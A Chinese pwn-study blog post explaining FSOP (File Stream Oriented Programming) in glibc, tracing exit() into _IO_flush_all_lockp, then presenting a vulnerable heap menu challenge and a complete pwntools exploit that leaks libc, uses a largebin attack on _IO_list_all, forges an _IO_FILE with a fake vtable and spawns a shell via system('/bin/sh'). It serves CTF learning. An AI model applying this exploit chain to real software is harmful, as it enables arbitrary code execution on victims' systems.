当前位置: 首页 > news >正文

【我的 PWN 学习手札】IO_FILE 之 FSOP

FSOP:File Stream Oriented Programming

通过劫持 _IO_list_all 指向伪造的 _IO_FILE_plus,进而调用fake IO_FILE 结构体对象中被伪造的vtable指向的恶意函数。

目录

前言

一、glibc-exit函数浅析

二、FSOP

三、Largebin attack + FSOP

(一)Leak libc

(二)Largebin attack

(三)FSOP 

(四)调试追踪调用

(五)EXP


前言

我们将着重关注vtable中的_IO_file_overflow函数指针。

当函数exit时,程序执行_IO_flush_all_lockp 函数。该函数会刷新 _IO_list_all 链表中所有项的文件流,相当于对每个 FILE 调用fflush ,也对应着会调用 _IO_FILE_plus.vtable 中的_IO_overflow。

参考宝藏博主:linux IO_FILE 利用_io list all结构体-CSDN博客 


一、glibc-exit函数浅析

一般FSOP可以通过exit来触发布置好的fake IO,我们来粗略过一遍流程

// exit.c
void exit(int status)
{__run_exit_handlers(status, &__exit_funcs, true);
}
libc_hidden_def(exit)/* Call all functions registered with `atexit' and `on_exit',in the reverse of the order in which they were registeredperform stdio cleanup, and terminate program execution with STATUS.  */
voidattribute_hidden__run_exit_handlers(int status, struct exit_function_list **listp,bool run_list_atexit)
{/* First, call the TLS destructors.  */
#ifndef SHAREDif (&__call_tls_dtors != NULL)
#endif__call_tls_dtors();/* We do it this way to handle recursive calls to exit () made bythe functions registered with `atexit' and `on_exit'. We calleveryone on the list and use the status value in the lastexit (). */while (*listp != NULL){struct exit_function_list *cur = *listp;while (cur->idx > 0){const struct exit_function *const f =&cur->fns[--cur->idx];switch (f->flavor){void (*atfct)(void);void (*onfct)(int status, void *arg);void (*cxafct)(void *arg, int status);case ef_free:case ef_us:break;case ef_on:onfct = f->func.on.fn;
#ifdef PTR_DEMANGLEPTR_DEMANGLE(onfct);
#endifonfct(status, f->func.on.arg);break;case ef_at:atfct = f->func.at;
#ifdef PTR_DEMANGLEPTR_DEMANGLE(atfct);
#endifatfct();break;case ef_cxa:cxafct = f->func.cxa.fn;
#ifdef PTR_DEMANGLEPTR_DEMANGLE(cxafct);
#endifcxafct(f->func.cxa.arg, status);break;}}*listp = cur->next;if (*listp != NULL)/* Don't free the last element in the chain, this is the staticallyallocate element.  */free(cur);}if (run_list_atexit)RUN_HOOK(__libc_atexit, ());_exit(status);
}

exit实际调用了__run_exit_handlers函数。它的作用是在程序退出时调用所有通过 atexit 和 on_exit 注册的函数,并执行标准 I/O 清理,最终终止程序执行。

对于函数参数中的&__exit_funcs,可以继续追踪定位到其实现:

// cxa_atexit.c/* Register a function to be called by exit or when a shared libraryis unloaded.  This function is only called from code generated bythe C++ compiler.  */
int __cxa_atexit(void (*func)(void *), void *arg, void *d)
{return __internal_atexit(func, arg, d, &__exit_funcs);
}
libc_hidden_def(__cxa_atexit)/* We change global data, so we need locking.  */__libc_lock_define_initialized(static, lock)static struct exit_function_list initial;
struct exit_function_list *__exit_funcs = &initial;

对于“执行标准 I/O 清理”操作我们更为关心,chat得知是下述函数实现:

  if (run_list_atexit)RUN_HOOK(__libc_atexit, ());

 经过全局搜索可追溯到:

// genops.c
#ifdef text_set_element
text_set_element(__libc_atexit, _IO_cleanup);
#endif

此处已经看到,执行了IO清理的操作,继续追溯:

int
_IO_cleanup (void)
{/* We do *not* want locking.  Some threads might use streams butthat is their problem, we flush them underneath them.  */int result = _IO_flush_all_lockp (0);/* We currently don't have a reliable mechanism for making sure thatC++ static destructors are executed in the correct order.So it is possible that other static destructors might want towrite to cout - and they're supposed to be able to do so.The following will make the standard streambufs be unbuffered,which forces any output from late destructors to be written out. */_IO_unbuffer_all ();return result;
}int
_IO_flush_all_lockp (int do_lock)
{int result = 0;struct _IO_FILE *fp;int last_stamp;#ifdef _IO_MTSAFE_IO__libc_cleanup_region_start (do_lock, flush_cleanup, NULL);if (do_lock)_IO_lock_lock (list_all_lock);
#endiflast_stamp = _IO_list_all_stamp;fp = (_IO_FILE *) _IO_list_all;while (fp != NULL){run_fp = fp;if (do_lock)_IO_flockfile (fp);if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
#if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T|| (_IO_vtable_offset (fp) == 0&& fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr> fp->_wide_data->_IO_write_base))
#endif)&& _IO_OVERFLOW (fp, EOF) == EOF)result = EOF;if (do_lock)_IO_funlockfile (fp);run_fp = NULL;if (last_stamp != _IO_list_all_stamp){/* Something was added to the list.  Start all over again.  */fp = (_IO_FILE *) _IO_list_all;last_stamp = _IO_list_all_stamp;}elsefp = fp->_chain;}#ifdef _IO_MTSAFE_IOif (do_lock)_IO_lock_unlock (list_all_lock);__libc_cleanup_region_end (0);
#endifreturn result;
}

至此看到,对于_IO_list_all上的IO_FILE链,都执行_IO_OVERFLOW的操作。 

二、FSOP

劫持 _IO_list_all 的方式一般有两种:

  1. 修改 IO_FILE 结构体,为了不影响 IO 建议修改 _IO_2_1_stderr 结构体。
  2. 利用例如 large bin attack 的攻击方法将 _IO_list_all 覆盖成一个 chunk 地址,然后在该 chunk 上伪造 IO_FILE 结构体。 

        在劫持 _IO_2_1_stderr 时除了修改 vtable 指针指向伪造 vtable 外,要想调用 _IO_2_1_stderr 还需要修改 以满足以下条件:

fp->_mode _IO_write_ptr > fp->_IO_write_base

        因此不妨将 vtable 伪造在 _IO_2_1_stderr + 0x10 处使 _IO_overflow , _IO_2_1_stderr 的 fp->_IO_write_ptr 恰好对应于 vtable 的 _IO_overflow 。然后将fp->_IO_write_ptr 写入 system 函数地址。由于_IO_overflow 传入的参数为_IO_2_1_stderr 结构体,因此将结构体其实位置处写入 /bin/sh 字符串。 

                                                                                                                  ——by _sky123_

这里通过模板题,利用largebin attack来实现FSOP 

三、Largebin attack + FSOP

#include<stdlib.h>
#include <stdio.h>
#include <unistd.h>char *chunk_list[0x100];void menu() {puts("1. add chunk");puts("2. delete chunk");puts("3. edit chunk");puts("4. show chunk");puts("5. exit");puts("choice:");
}int get_num() {char buf[0x10];read(0, buf, sizeof(buf));return atoi(buf);
}void add_chunk() {puts("index:");int index = get_num();puts("size:");int size = get_num();chunk_list[index] = malloc(size);
}void delete_chunk() {puts("index:");int index = get_num();free(chunk_list[index]);
}void edit_chunk() {puts("index:");int index = get_num();puts("length:");int length = get_num();puts("content:");read(0, chunk_list[index], length);
}void show_chunk() {puts("index:");int index = get_num();puts(chunk_list[index]);
}int main() {setbuf(stdin, NULL);setbuf(stdout, NULL);setbuf(stderr, NULL);while (1) {menu();switch (get_num()) {case 1:add_chunk();break;case 2:delete_chunk();break;case 3:edit_chunk();break;case 4:show_chunk();break;case 5:exit(0);default:puts("invalid choice.");}}
}

(一)Leak libc

同时为了准备largebin attack,申请largebin范围大小的chunk

# leak libc
add(0,0x10)
add(0,0x418)
add(1,0x18)
add(2,0x428)
add(3,0x10)
delete(0)
delete(2)

show(0)
io.recvline()
libc.address=u64(io.recv(6).ljust(8,b'\x00'))-0x39bb78
success(hex(libc.address))
show(2)
io.recvline()
heap_base=u64(io.recv(6).ljust(8,b'\x00')) & ~0xfff
success(hex(heap_base))

(二)Largebin attack

# Largebin attack
add(0,0x418)
add(10,0x500)   
edit(2,p64(0)*3+p64(libc.sym['_IO_list_all']-0x20))     
delete(0)
add(10,0x500)

确实写了一个堆地址,但是为了能够布置数据,我们希望能将堆申请出来。为此我们不通过申请大chunk来触发largebin attack,而是申请一个小chunk,释放unsortedbin chunk到largebin中触发,又从largebin中取出chunk,到unsortedbin。至此largebin里只剩下目标chunk,我们再恢复一下相关指针,就可以将该chunk malloc出来。

修改上述exp片段代码

# Largebin attack
add(0,0x418)
add(10,0x500)
edit(2,p64(0)*3+p64(libc.sym['_IO_list_all']-0x20))
delete(0)
add(10,0x10)

可以看到unsortedbin里有一个chunk,largebin生下了目标chunk,接下来恢复指针

# fd、bk指向libc,fd_nextsize、bk_nextsize指向自己
edit(2,p64(libc.address+0x39bf68)*2+p64(heap_base+0x460)*2)

接下来申请出目标chunk

add(0,0x428)

(三)FSOP 

可见我们可控的区域实际上偏移了0x10,为此我们可以通过物理临近的前一个chunk复用prev_size字段来修改。

IO_FILE有模板,这里给出(来自这个大佬的博客) 

fake_file = b""
fake_file += b"/bin/sh\x00"  # _flags, an magic number
fake_file += p64(0)  # _IO_read_ptr
fake_file += p64(0)  # _IO_read_end
fake_file += p64(0)  # _IO_read_base
fake_file += p64(0)  # _IO_write_base
fake_file += p64(libc.sym['system'])  # _IO_write_ptr
fake_file += p64(0)  # _IO_write_end
fake_file += p64(0)  # _IO_buf_base;
fake_file += p64(0)  # _IO_buf_end should usually be (_IO_buf_base + 1)
fake_file += p64(0) * 4  # from _IO_save_base to _markers
fake_file += p64(libc.sym['_IO_2_1_stdout_'])  # the FILE chain ptr
fake_file += p32(2)  # _fileno for stderr is 2
fake_file += p32(0)  # _flags2, usually 0
fake_file += p64(0xFFFFFFFFFFFFFFFF)  # _old_offset, -1
fake_file += p16(0)  # _cur_column
fake_file += b"\x00"  # _vtable_offset
fake_file += b"\n"  # _shortbuf[1]
fake_file += p32(0)  # padding
fake_file += p64(libc.sym['_IO_2_1_stdout_'] + 0x1ea0)  # _IO_stdfile_1_lock
fake_file += p64(0xFFFFFFFFFFFFFFFF)  # _offset, -1
fake_file += p64(0)  # _codecvt, usually 0
fake_file += p64(libc.sym['_IO_2_1_stdout_'] - 0x160)  # _IO_wide_data_1
fake_file += p64(0) * 3  # from _freeres_list to __pad5
fake_file += p32(0xFFFFFFFF)  # _mode, usually -1
fake_file += b"\x00" * 19  # _unused2
fake_file = fake_file.ljust(0xD8, b'\x00')  # adjust to vtable
fake_file += p64(libc.sym['_IO_2_1_stderr_'] + 0x10)  # fake vtable

由于缺了0x10可控,这里需要薛微调整一下:

fake_file = b""
# fake_file += b"/bin/sh\x00"  # _flags, an magic number
# fake_file += p64(0)  # _IO_read_ptr
fake_file += p64(0)  # _IO_read_end
fake_file += p64(0)  # _IO_read_base
fake_file += p64(0)  # _IO_write_base
fake_file += p64(libc.sym['system'])  # _IO_write_ptr
fake_file += p64(0)  # _IO_write_end
fake_file += p64(0)  # _IO_buf_base;
fake_file += p64(0)  # _IO_buf_end should usually be (_IO_buf_base + 1)
fake_file += p64(0) * 4  # from _IO_save_base to _markers
fake_file += p64(libc.sym['_IO_2_1_stdout_'])  # the FILE chain ptr
fake_file += p32(2)  # _fileno for stderr is 2
fake_file += p32(0)  # _flags2, usually 0
fake_file += p64(0xFFFFFFFFFFFFFFFF)  # _old_offset, -1
fake_file += p16(0)  # _cur_column
fake_file += b"\x00"  # _vtable_offset
fake_file += b"\n"  # _shortbuf[1]
fake_file += p32(0)  # padding
fake_file += p64(libc.sym['_IO_2_1_stdout_'] + 0x1ea0)  # _IO_stdfile_1_lock
fake_file += p64(0xFFFFFFFFFFFFFFFF)  # _offset, -1
fake_file += p64(0)  # _codecvt, usually 0
fake_file += p64(libc.sym['_IO_2_1_stdout_'] - 0x160)  # _IO_wide_data_1
fake_file += p64(0) * 3  # from _freeres_list to __pad5
fake_file += p32(0xFFFFFFFF)  # _mode, usually -1
fake_file += b"\x00" * 19  # _unused2
fake_file = fake_file.ljust(0xD8-0x10, b'\x00')  # adjust to vtable
# fake_file += p64(libc.sym['_IO_2_1_stderr_'] + 0x10)  # fake vtable
fake_file += p64(heap_base+0x460 + 0x10)  # fake vtable
edit(0,fake_file)

然后就:

pwndbg> p *_IO_list_all
$4 = {file = {_flags = 0,_IO_read_ptr = 0x431 <error: Cannot access memory at address 0x431>,_IO_read_end = 0x0,_IO_read_base = 0x0,_IO_write_base = 0x0,_IO_write_ptr = 0x72d08ec3f560 <__libc_system> "H\205\377t\v\351\206\372\377\377f\017\037D",_IO_write_end = 0x0,_IO_buf_base = 0x0,_IO_buf_end = 0x0,_IO_save_base = 0x0,_IO_backup_base = 0x0,_IO_save_end = 0x0,_markers = 0x0,_chain = 0x72d08ef9c620 <_IO_2_1_stdout_>,_fileno = 2,_flags2 = 0,_old_offset = -1,_cur_column = 0,_vtable_offset = 0 '\000',_shortbuf = "\n",_lock = 0x72d08ef9e4c0 <prof_info+160>,_offset = -1,_codecvt = 0x0,_wide_data = 0x72d08ef9c4c0 <_nl_global_locale+160>,_freeres_list = 0x0,_freeres_buf = 0x0,__pad5 = 0,_mode = -1,_unused2 = '\000' <repeats 19 times>},vtable = 0x5e7f135df470
}
pwndbg> p *_IO_list_all.vtable 
$5 = {__dummy = 0,__dummy2 = 0,__finish = 0x0,__overflow = 0x72d08ec3f560 <__libc_system>,__underflow = 0x0,__uflow = 0x0,__pbackfail = 0x0,__xsputn = 0x0,__xsgetn = 0x0,__seekoff = 0x0,__seekpos = 0x0,__setbuf = 0x72d08ef9c620 <_IO_2_1_stdout_>,__sync = 0x2,__doallocate = 0xffffffffffffffff,__read = 0xa000000,__write = 0x72d08ef9e4c0 <prof_info+160>,__seek = 0xffffffffffffffff,__close = 0x0,__stat = 0x72d08ef9c4c0 <_nl_global_locale+160>,__showmanyc = 0x0,__imbue = 0x0
}

然后我们通过chunk_list[1]来布置"/bin/sh\x00"

edit(1,p64(0)*2+b'/bin/sh\x00')

(四)调试追踪调用

exit -> __run_exit_handlers -> _IO_cleanup -> _IO_flush_all_lockp -> fileop.vtable.overflow

fileop已经被我们劫持,也在该结构体头布置了”/bin/sh\x00"参数,因此执行system("/bin/sh\x00")

(五)EXP 

from pwn import *elf=ELF("./pwn")
libc=ELF("./libc.so.6")
context.arch=elf.arch
context.log_level='debug'
context.os=elf.os
def add(index, size):io.sendafter(b"choice:", b"1")io.sendafter(b"index:", str(index).encode())io.sendafter(b"size:", str(size).encode())def delete(index):io.sendafter(b"choice:", b"2")io.sendafter(b"index:", str(index).encode())def edit(index, content):io.sendafter(b"choice:", b"3")io.sendafter(b"index:", str(index).encode())io.sendafter(b"length:", str(len(content)).encode())io.sendafter(b"content:", content)def show(index):io.sendafter(b"choice:", b"4")io.sendafter(b"index:", str(index).encode())io=process("./pwn")# leak libc
add(0,0x10)
add(0,0x418)
add(1,0x18)
add(2,0x428)
add(3,0x10)
delete(0)
delete(2)show(0)
io.recvline()
libc.address=u64(io.recv(6).ljust(8,b'\x00'))-0x39bb78
success(hex(libc.address))
show(2)
io.recvline()
heap_base=u64(io.recv(6).ljust(8,b'\x00')) & ~0xfff
success(hex(heap_base))# Largebin attack
add(0,0x418)
add(10,0x500)
edit(2,p64(0)*3+p64(libc.sym['_IO_list_all']-0x20))  # 0x39bf68
delete(0)
add(10,0x10)
edit(2,p64(libc.address+0x39bf68)*2+p64(heap_base+0x460)*2)
add(0,0x428)fake_file = b""
# fake_file += b"/bin/sh\x00"  # _flags, an magic number
# fake_file += p64(0)  # _IO_read_ptr
fake_file += p64(0)  # _IO_read_end
fake_file += p64(0)  # _IO_read_base
fake_file += p64(0)  # _IO_write_base
fake_file += p64(libc.sym['system'])  # _IO_write_ptr
fake_file += p64(0)  # _IO_write_end
fake_file += p64(0)  # _IO_buf_base;
fake_file += p64(0)  # _IO_buf_end should usually be (_IO_buf_base + 1)
fake_file += p64(0) * 4  # from _IO_save_base to _markers
fake_file += p64(libc.sym['_IO_2_1_stdout_'])  # the FILE chain ptr
fake_file += p32(2)  # _fileno for stderr is 2
fake_file += p32(0)  # _flags2, usually 0
fake_file += p64(0xFFFFFFFFFFFFFFFF)  # _old_offset, -1
fake_file += p16(0)  # _cur_column
fake_file += b"\x00"  # _vtable_offset
fake_file += b"\n"  # _shortbuf[1]
fake_file += p32(0)  # padding
fake_file += p64(libc.sym['_IO_2_1_stdout_'] + 0x1ea0)  # _IO_stdfile_1_lock
fake_file += p64(0xFFFFFFFFFFFFFFFF)  # _offset, -1
fake_file += p64(0)  # _codecvt, usually 0
fake_file += p64(libc.sym['_IO_2_1_stdout_'] - 0x160)  # _IO_wide_data_1
fake_file += p64(0) * 3  # from _freeres_list to __pad5
fake_file += p32(0xFFFFFFFF)  # _mode, usually -1
fake_file += b"\x00" * 19  # _unused2
fake_file = fake_file.ljust(0xD8-0x10, b'\x00')  # adjust to vtable
# fake_file += p64(libc.sym['_IO_2_1_stderr_'] + 0x10)  # fake vtable
fake_file += p64(heap_base+0x460 + 0x10)  # fake vtable
edit(0,fake_file)
edit(1,p64(0)*2+b'/bin/sh\x00')gdb.attach(io,'b exit\nc')io.interactive()

 

相关文章:

【我的 PWN 学习手札】IO_FILE 之 FSOP

FSOP&#xff1a;File Stream Oriented Programming 通过劫持 _IO_list_all 指向伪造的 _IO_FILE_plus&#xff0c;进而调用fake IO_FILE 结构体对象中被伪造的vtable指向的恶意函数。 目录 前言 一、glibc-exit函数浅析 二、FSOP 三、Largebin attack FSOP &#xff08;…...

新兴的开源 AI Agent 智能体全景技术栈

新兴的开源 AI Agent 智能体全景技术栈 LLMs&#xff1a;开源大模型嵌入模型&#xff1a;开源嵌入模型模型的访问和部署&#xff1a;Ollama数据存储和检索&#xff1a;PostgreSQL, pgvector 和 pgai后端&#xff1a;FastAPI前端&#xff1a;NextJS缺失的一环&#xff1a;评估和…...

统计学习方法(第二版) 概率分布学习

本文主要介绍机器学习的概率分布&#xff0c;帮助后续的理解。 定义直接从书上搬的想自己写&#xff0c;但没有定义准确&#xff0c;还浪费事件&#xff0c;作为个人笔记&#xff0c;遇到速查。 目录 一、二点分布&#xff08;0-1分布、伯努利分布&#xff09; 二、二项分布…...

淺談Cocos2djs逆向

前言 簡單聊一下cocos2djs手遊的逆向&#xff0c;有任何相關想法歡迎和我討論^^ 一些概念 列出一些個人認為比較有用的概念&#xff1a; Cocos遊戲的兩大開發工具分別是CocosCreator和CocosStudio&#xff0c;區別是前者是cocos2djs專用的開發工具&#xff0c;後者則是coco…...

【ROS2】RViz2加载URDF模型文件

1、RViz2加载URDF模型文件 1)运行RViz2 rviz22)添加组件:RobotModel 3)选择通过文件添加 4)选择URDF文件,此时会报错,需要修改Fixed Frame为map即可 5)因为没有坐标转换,依然会报错,下面尝试解决 2、运行坐标转换节点 1)运行ROS节点:robot_state_publishe...

Unity导入特效,混合模式无效问题

检查spine导出设置与Unity导入设置是否一致 检查Blend Mode Materials是否勾选 检查是否使用导入时产生的对应混合模式的材质&#xff0c;混合模式不适用默认材质 这里选导入时生成的材质...

el-table自定义按钮控制扩展expand

需求&#xff1a;自定义按钮实现表格扩展内容的展开和收起&#xff0c;实现如下&#xff1a; 将type“expand”的表格列的宽度设置为width"1"&#xff0c;让该操作列不展示出来&#xff0c;然后通过ref动态调用组件的内部方法toggleRowExpansion(row, row.expanded)控…...

opencv CV_TM_SQDIFF未定义标识符

opencv CV_TM_SQDIFF未定义标识符 opencv4部分命名发生变换&#xff0c;将CV_WINDOW_AUTOSIZE改为WINDOW_AUTOSIZE&#xff1b;CV_TM_SQDIFF_NORMED改为TM_SQDIFF_NORMED。...

2024acl论文体悟

总结分析归纳 模型架构与训练方法&#xff1a;一些论文关注于改进大语言模型的架构和训练方法&#xff0c;以提高其性能和效率。例如&#xff0c;“Quantized Side Tuning: Fast and Memory-Efficient Tuning of Quantized Large Language Models”提出了一种量化侧调优方法&a…...

【Git原理与使用】版本回退reset 详细介绍、撤销修改、删除文件

目录 一、版本回退 reset 1.1 指令&#xff1a; 1.2 参数说明&#xff1a; 1.3 演示&#xff1a; 二、撤销修改 情况一&#xff1a;对于工作区的代码&#xff0c;还没有 add 情况二&#xff1a;已经 add &#xff0c;但没有 commit 情况三&#xff1a;已经 add &…...

反规范化带来的数据不一致问题的解决方案

在数据库设计中&#xff0c;规范化&#xff08;Normalization&#xff09;和反规范化&#xff08;Denormalization&#xff09;是两个相互对立但又不可或缺的概念。规范化旨在消除数据冗余&#xff0c;确保数据的一致性和准确性&#xff0c;但可能会降低查询效率。相反&#xf…...

【Android】直接使用binder的transact来代替aidl接口

aidl提供了binder调用的封装&#xff0c;有的时候&#xff0c;比如&#xff1a; 1. 懒得使用aidl生成的接口文件&#xff08;确实是懒&#xff0c;Android studio中aidl生成接口文件很方便&#xff09; 2. 服务端的提供者只公开了部分接口出来&#xff0c;只给了调用编号和参…...

Python机器学习笔记(十八、交互特征与多项式特征)

添加原始数据的交互特征&#xff08;interaction feature&#xff09;和多项式特征&#xff08;polynomial feature&#xff09;可以丰富特征表示&#xff0c;特别是对于线性模型。这种特征工程可以用统计建模和许多实际的机器学习应用中。 上一次学习&#xff1a;线性模型对w…...

《跟我学Spring Boot开发》系列文章索引❤(2025.01.09更新)

章节文章名备注第1节Spring Boot&#xff08;1&#xff09;基于Eclipse搭建Spring Boot开发环境环境搭建第2节Spring Boot&#xff08;2&#xff09;解决Maven下载依赖缓慢的问题给火车头提提速第3节Spring Boot&#xff08;3&#xff09;教你手工搭建Spring Boot项目纯手工玩法…...

【AI进化论】 如何让AI帮我们写一个项目系列:将Mysql生成md文档

一、python脚本 下面给出一个简易 Python 脚本示例&#xff0c;演示如何自动获取所有表的结构&#xff0c;并生成一份 Markdown 文件。你可根据自己的需求做修改或使用其他编程语言。 import mysql.connector# ------------------------ # 1. 连接数据库 # -----------------…...

(已开源-AAAI25) RCTrans:雷达相机融合3D目标检测模型

在雷达相机融合三维目标检测中&#xff0c;雷达点云稀疏、噪声较大&#xff0c;在相机雷达融合过程中提出了很多挑战。为了解决这个问题&#xff0c;我们引入了一种新的基于query的检测方法 Radar-Camera Transformer (RCTrans)。具体来说&#xff1a; 首先设计了一个雷达稠密…...

Elasticsearch:在 HNSW 中提前终止以实现更快的近似 KNN 搜索

作者&#xff1a;来自 Elastic Tommaso Teofili 了解如何使用智能提前终止策略让 HNSW 加快 KNN 搜索速度。 在高维空间中高效地找到最近邻的挑战是向量搜索中最重要的挑战之一&#xff0c;特别是当数据集规模增长时。正如我们之前的博客文章中所讨论的&#xff0c;当数据集规模…...

unittest VS pytest

以下是 unittest 和 pytest 框架的对比表格&#xff1a; 特性unittestpytest设计理念基于类的设计&#xff0c;类似于 Java 的 JUnit更简洁&#xff0c;基于函数式编程设计&#xff0c;支持类和函数两种方式测试编写需要继承 unittest.TestCase 类&#xff0c;方法以 test_ 开…...

Tableau数据可视化与仪表盘搭建-基础图表制作

目录 对比分析&#xff1a;比大小 柱状图 条形图 数据钻取 筛选器 热力图 气泡图 变化分析&#xff1a;看趋势 折线图 预测 面积图 关系分布&#xff1a;看位置 散点图 直方图 地图 构成分析&#xff1a;看占比 饼图 树地图 堆积图 对比分析&#xff1a;比大…...

Center Loss 和 ArcFace Loss 笔记

一、Center Loss 1. 定义 Center Loss 旨在最小化类内特征的离散程度&#xff0c;通过约束样本特征与其类别中心之间的距离&#xff0c;提高类内特征的聚合性。 2. 公式 对于样本 xi​ 和其类别yi​&#xff0c;Center Loss 的公式为&#xff1a; xi​: 当前样本的特征向量&…...

如何在5分钟内成为资源下载高手:res-downloader的终极指南

如何在5分钟内成为资源下载高手&#xff1a;res-downloader的终极指南 【免费下载链接】res-downloader 视频号、小程序、抖音、快手、小红书、直播流、m3u8、酷狗、QQ音乐等常见网络资源下载! 项目地址: https://gitcode.com/GitHub_Trending/re/res-downloader res-do…...

MySQL后端开发核心知识点

一、存储引擎&#xff08;只重点 InnoDB&#xff09;MySQL 5.5 以后默认引擎是 InnoDB&#xff0c;也是现代企业项目唯一使用的引擎。InnoDB 特点&#xff1a;支持 事务支持 行级锁&#xff0c;并发性能好支持 外键&#xff08;实际开发基本不用&#xff09;基于 B 树索引结构依…...

免费域名会不会对网站SEO造成影响_免费域名对网站性能和访问速度有影响吗

免费域名会不会对网站SEO造成影响 在互联网时代&#xff0c;网站的建设和推广是每个企业和个人都必须面对的挑战。其中&#xff0c;域名作为网站的身份和地址&#xff0c;对于网站的SEO&#xff08;搜索引擎优化&#xff09;有着重要影响。而免费域名的出现&#xff0c;给许多…...

OpenClaw云端体验:星图平台一键部署Kimi-VL-A3B-Thinking镜像

OpenClaw云端体验&#xff1a;星图平台一键部署Kimi-VL-A3B-Thinking镜像 1. 为什么选择云端体验OpenClaw 作为一个长期折腾本地AI部署的技术爱好者&#xff0c;我深知在个人电脑上配置OpenClaw的痛处。从Python环境冲突到CUDA版本不兼容&#xff0c;每次安装都像在拆解一颗定…...

棕榈酰化修饰:从基础研究到癌症治疗的5个关键突破点

棕榈酰化修饰&#xff1a;从基础研究到癌症治疗的5个关键突破点 在肿瘤免疫治疗领域&#xff0c;蛋白质翻译后修饰的调控机制正成为突破性疗法的新靶点。棕榈酰化修饰——这种将16碳棕榈酸共价连接到蛋白质半胱氨酸残基上的动态过程&#xff0c;近年来因其在癌细胞信号传导中的…...

百川2-13B-4bits极限测试:OpenClaw连续72小时压力运行报告

百川2-13B-4bits极限测试&#xff1a;OpenClaw连续72小时压力运行报告 1. 为什么要做这次压力测试 去年冬天第一次接触OpenClaw时&#xff0c;我就被它"本地化AI智能体"的定位吸引。但真正让我产生深度测试想法的&#xff0c;是上个月处理客户数据时遭遇的尴尬——…...

预算有限AI率还有80%,性价比最高的降AI方案

AI率80%&#xff0c;但预算只有100-200元&#xff0c;怎么处理&#xff1f; 这是一个真实存在的困境。不同工具的定价差异很大&#xff0c;预算不够时怎么取舍&#xff0c;怎么用最少的钱解决问题&#xff1f; 这篇文章给出不同预算下的最优方案。 先了解各工具定价 工具定…...

终极指南:3天快速上手ALOHA开源双臂机器人系统,从零到实战操作

终极指南&#xff1a;3天快速上手ALOHA开源双臂机器人系统&#xff0c;从零到实战操作 【免费下载链接】aloha 项目地址: https://gitcode.com/gh_mirrors/al/aloha ALOHA&#xff08;A Low-cost Open-source Hardware System for Bimanual Teleoperation&#xff09;是…...

Linux命令-ncftp(增强的的FTP工具)

ncftp 是 Linux 中一个功能强大的 FTP 客户端&#xff0c;提供了比传统 ftp 命令更丰富的功能和更友好的界面。它支持自动登录、断点续传、递归传输、书签管理等功能&#xff0c;是 FTP 操作的强大工具。 &#x1f4d6; 基本语法 ncftp [选项] [主机名] ncftpget [选项] 主机名…...

Atlas 800I A2实战:5小时搞定DeepSeek V3 W4A8量化全流程(含显存优化技巧)

Atlas 800I A2实战&#xff1a;5小时搞定DeepSeek V3 W4A8量化全流程&#xff08;含显存优化技巧&#xff09; 在AI模型部署领域&#xff0c;量化技术正成为突破硬件限制的关键手段。当我们面对Atlas 800I A2这样的高性能服务器时&#xff0c;如何充分发挥其64GB显存优势&#…...